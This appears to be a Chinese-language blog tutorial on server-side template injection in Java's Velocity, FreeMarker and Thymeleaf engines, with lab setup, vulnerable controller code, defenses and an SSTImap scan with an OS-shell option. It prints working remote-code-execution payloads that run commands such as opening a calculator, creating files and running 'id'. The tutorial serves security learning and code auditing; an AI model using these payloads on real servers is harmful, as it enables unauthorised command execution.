Java SSTI服务端模版注入漏洞原理与利用

文章目录

前言

SSTI(Server Side Template Injection)全称服务端模板注入漏洞,在 Java 中常用的模板引擎有 FreeMarker、Velocity、Thymeleaf、Spring View Manipulation、Pebble、JinJava 及 Hubspot 等等。

所谓模版引擎,简单来讲就是利用模版语言的特定语法处理模版中的特定参数,帮助动态渲染数据到 view 层或生成电子邮件、配置文件、HTML 网页等输出文本。模板引擎支持在运行时使用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。

常见的可能存在 SSTI 漏洞的模板引擎信息如下:

本文主要学习 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用。常见的模板引擎的语法及 payload 总结可参见:PayloadsAllTheThings/Server Side Template Injection

Velocity

Velocity 是一个基于 Java 的模板引擎,广泛运用于 Java 项目中,Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。近年来不少中间件服务器,如 Solr、协同办公软件、confluence、 Jria 等,陆续被爆存在 velocity 模版注入漏洞(CVE-2019-17558、CVE-2019-3394、CVE-2021-43947等)。下文以 Velocity 模板引擎为主,来学习下 SSTI 注入的原理和利用。

基础语法

官方指导文档:https://velocity.apache.org/engine/1.7/user-guide.html

VTL (Velocity Template Language) 大致语法如下所示:

语法组成 详细信息
语句标识符 #用来标识 Velocity 的脚本语句,包括 #set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro 等语句。
变量 $用来标识一个变量,比如模板文件中为 Hello $a,可以获取通过上下文传递的$a
声明 set用于声明 Velocity 脚本变量,变量可以在脚本中声明,比如#set($a ="velocity")
注释 单行注释为 ##,多行注释为成对出现的#* ............. *#
变量属性 通过.操作符使用变量的内容,比如获取并调用 getClass():#set($e="e") $e.getClass()

一个简单的示例:

html 复制代码
<html>
  <body>
    #set( $foo = "Velocity" )
    Hello $foo World!
  </body>
</html>

基础示例

创建一个 Maven 项目,在 pom.xml 导入以下依赖:

xml 复制代码
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
  <groupId>org.apache.velocity</groupId>
  <artifactId>velocity</artifactId>
  <version>1.7</version>
</dependency>

在资源文件夹路径下创建如下模板 src/main/resources/test.vm:

java 复制代码
Hello World! The first velocity demo.
Name is $name.
Project is $project

然后在主程序编写如下 Velocity 模板引擎的测试代码:

java 复制代码
public static void main(String[] args) {
    VelocityEngine velocityEngine = new VelocityEngine();
    velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
    velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
    velocityEngine.init();

    VelocityContext context = new VelocityContext();
    context.put("name", "Tr0e");
    context.put("project", "Velocity");

    Template template = velocityEngine.getTemplate("test.vm");
    StringWriter sw = new StringWriter();
    template.merge(context, sw);

    System.out.println("final output:\n" + sw);
}

解释下上述代码:

  1. 首先通过 VelocityEngine 创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为 file;
  2. 然后通过velocityEngine.init()完成引擎初始化;
  3. 接着通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文;
  4. 进一步通过getTemplate选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果;
  5. 最后将上下文变量传入template.merge进行渲染。

运行结果如下所示:

上面的案例为了简单起见,通过控制台输出 Velocity 模板引擎渲染的数据,实际项目中大部分是将渲染结果通过 html 进行前端展示。

命令执行

而如果 Velocity 引擎加载的模板可以被攻击者控制,便可以导致系统存在命令注入的风险。

来实践体验一下,修改模板 test.vm,在文件头部添加内容如下:

java 复制代码
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

其它内容均不变,重新运行 main 程序,可以看到成功执行打开计算器的命令:

【More】上面代码等价于,即行换符号可使用分号替代(即使分号直接去掉也 ok):

java 复制代码
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

【思考】如果上面的缺陷代码,攻击者可以修改的不是整个 template 模板,而是模板中某个变量的值(比如上面例子的 name 变量),能否也实现 RCE?

java 复制代码
VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");

控制某个输出变量可能在实战中遇到的概率比较大,但是本人实践下来并无法实现 RCE,比如替换上面的 name 变量的值 "Tr0e",修改后的恶意的 Payload 并不会作为执行,而是当作普通字符串赋值给 name 变量。

靶场实践

Java 综合靶场:https://github.com/JoyChou93/java-sec-code

漏洞代码

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java

java 复制代码
@RestController
@RequestMapping("/ssti")
public class SSTI {

    /**
     * SSTI of Java velocity. The latest Velocity version still has this problem.
     * Fix method: Avoid to use Velocity.evaluate method.
     * <p>
     * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
     * Open a calculator in MacOS.
     *
     * @param template exp
     */
    @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

这段漏洞代码的 template 模板完全由外部传递,显然存在 SSTI 漏洞。需要注意的是:这段漏洞代码跟我们上面的示例代码有所差别,此处采用的是调用Velocity.evaluate函数对传递进来的 template 模板进行渲染,上文示例代码则采用的是template.merge函数进行渲染,需要注意这两个 Sink 点是异曲同工的,代码审计过程需要一并关注。

【More】从《CVE-2019-3396 Confluence Velocity SSTI漏洞浅析》文章的分析调试可以看到,CVE-2019-3396 漏洞的代码 sink 点便是template.merge,其中 template 外部攻击者可控,详情请阅读原文。

漏洞验证

POC 如下:

bash 复制代码
http://192.168.147.197:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22touch%20/tmp/evil2.txt%22)

成功执行命令创建文件:

检测工具

SSTI 开源漏洞检测与漏洞利用工具:https://github.com/vladko312/SSTImap,支持的模板引擎:https://github.com/vladko312/SSTImap#supported-template-engines

shell 复制代码
λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=*" -C "JSESSIONID=39779FDC377151009D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1e e; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw"

支持进行命令交互:

可惜这个靶场是个盲注无回显的靶场:

shell 复制代码
λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=123" -C "JSESSIONID=39779FDC3771510 09D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1ee; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw" --os-shell


FreeMarker

FreeMarker 中文官网:http://freemarker.foofun.cn/index.html

基础示例

FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker 模板文件主要由如下 4 个部分组成:

  1. 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
  2. 注释:使用<#-- ... -->格式做注释,里面内容不会输出;
  3. 插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;
  4. FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。

基础示例

在 Maven 项目的 pom.xml 中引入依赖:

xml 复制代码
<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
  <groupId>org.freemarker</groupId>
  <artifactId>freemarker</artifactId>
  <version>2.3.31</version>
</dependency>

在资源文件夹路径下创建如下src/main/resources/SSTI/hello.ftl模板文件:

html 复制代码
<html>
  <head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
  </head>
  <body>
      <#--我只是一个注释,我不会有任何输出 -->
      ${name}你好,${message}
  </body>
</html>

然后在主程序编写如下 FreeMarker 模板引擎的测试代码:

java 复制代码
public static void main(String[] args) throws IOException, TemplateException {
    //1.创建配置类
    Configuration configuration = new Configuration(Configuration.getVersion());
    //2.设置模板所在的目录
    configuration.setDirectoryForTemplateLoading(new File("src/main/resources/SSTI"));
    //3.设置字符集
    configuration.setDefaultEncoding("utf-8");
    //4.加载模板
    Template template = configuration.getTemplate("hello.ftl");
    //5.创建数据模型
    Map map=new HashMap();
    map.put("name", "Tr0e");
    map.put("message", "欢迎来到我的博客!");
    //6.创建Writer对象
    Writer out =new FileWriter(new File("src/main/resources/hello.html"));
    //7.输出
    template.process(map, out);
    //8.关闭Writer对象
    out.close();
}

运行程序,可成功借助 FreeMarker 模板引擎渲染、生成 html 文件:

漏洞示例

同样的,如果 template 模板攻击者可控,那么便存在 SSTI 注入导致的任意代码执行漏洞。

修改src/main/resources/SSTI/hello.ftl模板文件,如下:

html 复制代码
<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("gnome-calculator")}
</h3>
</body>
</html>

程序其它内容均保持不变,重新运行 main,即可发现成功执行打开计算器的命令:

综上,如果 FreeMarker 模板引擎的 template 外部可控且未经任何校验,将导致系统存在 RCE 风险。

【漏洞防御】

java 复制代码
Configuration configuration = new Configuration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置上述代码会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor等危险 Class 过滤。

CMS案例

参见《从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞》,介绍了一个 CMS 采用 FreeMarker 模板引擎导致的 RCE 漏洞。

先登录进 ofcms 的后台 admin 管理界面,然后再模板文件中课编辑 Freemarker 的模板代码,随机挑选一个幸运页面,进行 payload 注入:

然后从前台进入该页面(联系我们):

即可触发系统命令执行的操作:

这个案例在实战中很常见,因为后台管理系统经常会提供各种前台界面模板编辑的功能,此时需留意是否存在 SSTI 漏洞。

Thymeleaf

Thymeleaf 官方指导文档:https://www.thymeleaf.org/documentation.html,中文介绍参考:https://fanlychie.github.io/post/thymeleaf.html

基础示例

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

Thymeleaf 模板引擎支持多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

直接通过一个示例代码来看看此模板引擎如何使用,Github 有个开源示例项目:spring-view-manipulation

这是一个 SpringBoot 项目,先看其 pom.xml 引入的 Thymeleaf 依赖:

xml 复制代码
<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
  </dependency>
</dependencies>

具体的控制器代码:HelloController.java

java 复制代码
@Controller
public class HelloController {

    Logger log = LoggerFactory.getLogger(HelloController.class);

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }

    //GET /path?lang=en HTTP/1.1
    //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

    //GET /fragment?section=main
    //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

    @GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
        return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
    }

    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url; //FP as redirects are not resolved as expressions
    }

    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }
}

提供了 Thymeleaf 引擎的基础应用示例、SSTI 漏洞示例、以及安全修复示例。先来关注基础应用示例:

java 复制代码
@GetMapping("/")
public String index(Model model) {
   model.addAttribute("message", "happy birthday");
   return "welcome";
}

由于使用了@Controller@GetMapping("/")注解,因此将对根 url ('/') 的每个 HTTP GET 请求调用此方法。它没有任何参数,并返回一个静态字符串"welcome",然而 Spring 框架将"welcome"解释为视图名称,并尝试查找位于应用程序资源中的文件" **resources/templates/welcome.html**"。如果找到它,它将呈现模板文件中的视图并返回给用户。

如果正在使用 Thymeleaf 视图引擎(这是 Spring 中最流行的),则模板 welcome.html可能如下所示:

html 复制代码
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
  <div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
  </div>
  <div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
  </div>
</html>

运行此 SpringBoot 项目,访问站点根路径,可以看到返回了预期的视图:

其中model.addAttribute("message", "happy birthday");设置的 "happy birthday" 字符串成功传递到了 welcome.html 的 message 变量之中,这就是 Thymeleaf 模板引擎发挥的解析和渲染作用。

漏洞示例

从安全角度来看,可能会出现模板名称或片段与不受信任的数据连接的情况。例如,使用 request 参数:

java 复制代码
//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

Payload 已经在注释中提供了:

java 复制代码
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

成功执行命令:

此路由正常的业务则是访问:

【注意】上面可以看到当用户控制的数据 (URI) 直接进入视图名称并解析为表达式时,Thymeleaf 模板引擎也变得容易受到攻击。 故 Thymeleaf 模板引擎 SSTI 注入漏洞存在一个与前面 Velocity、FreeMarker 引擎不同的利用点:在模板名称受外部控制的情况下,也可能导致 Thymeleaf SSTI 注入。

安全方案

Safe case: ResponseBody

在某些情况下,控制器会返回使用受控值,但它们不容易受到视图名称操作的影响。例如,当控制器带有 @ResponseBody 注释时:

java 复制代码
@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

在这种情况下,Spring Framework 不会将其解释为视图名称,而只是在 HTTP 响应中返回此字符串。这同样适用于类上的@RestController,因为它在内部继承@ResponseBody

实践一下:

Safe case: Response is already processed

java 复制代码
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

这种情况与前面的易受攻击示例之一非常相似,但由于控制器在参数中具有 HttpServletResponse,Spring 认为它已经处理了 HTTP 响应,因此视图名称解析不会发生。此检查存在于 ServletResponseMethodArgumentResolver 类中。

Safe case: A redirect

java 复制代码
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}

当视图名称被预置时 "redirect:" ,逻辑也不同。在这种情况下,Spring 不再使用 Spring ThymeleafView,而是使用 RedirectView,它不执行表达式计算。此示例仍然存在开放重定向漏洞,但它肯定不像通过表达式计算的 RCE 那样危险。

总结

本文通过具体的漏洞实例代码,分析、总结了 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本,当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下,目标系统依旧存在 RCE 风险。其它模板引擎的 SSTI 漏洞利用基本上同理,实战遇到的话,查询官方语法指导文档后现学现卖即可。

本文参考文章如下:

  1. javaweb代码审计学习(SSTI漏洞)
  2. Java模版引擎注入(SSTI)漏洞研究 - 郑瀚Andrew
  3. CVE-2019-3396 Confluence Velocity SSTI漏洞浅析
  4. 服务器端模版注入SSTI分析与归纳 - 跳跳糖
  5. 从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞
  6. https://github.com/veracode-research/spring-view-manipulation
相关推荐
太自由1 个月前
浅聊前后端分离开发和前后端不分离开发模式
前端·servlet·spring mvc·thymeleaf·模板引擎·前后端分离开发
svygh1234 个月前
nodejs模板引擎(一)
javascript·nodejs·模板引擎·ejs·nodejs模板引擎
云来雁去1 年前
基于 C# 实现样式与数据分离的打印方案
c#·打印·模板引擎·printdocument
酒茶白开水1 年前
前后端交互—Ajax基础
xml·ajax·json·上传·xmlhttprequest·form·模板引擎
黑夜开发者1 年前
教你使用PHP实现一个轻量级HTML模板引擎
html·php·模板引擎
爱分享的代码君1 年前
六、循环表达式
java·javaweb·thymeleaf·模板引擎·服务端标签
-代号95271 年前
【SpringSecurity】七、SpringSecurity集成thymeleaf
thymeleaf·模板引擎·springsecurity
锡山草木间1 年前
从零开始:跟着 Art-template 学习前端模板引擎
前端·学习·arcgis·art-template·模块化·模板引擎·前端模板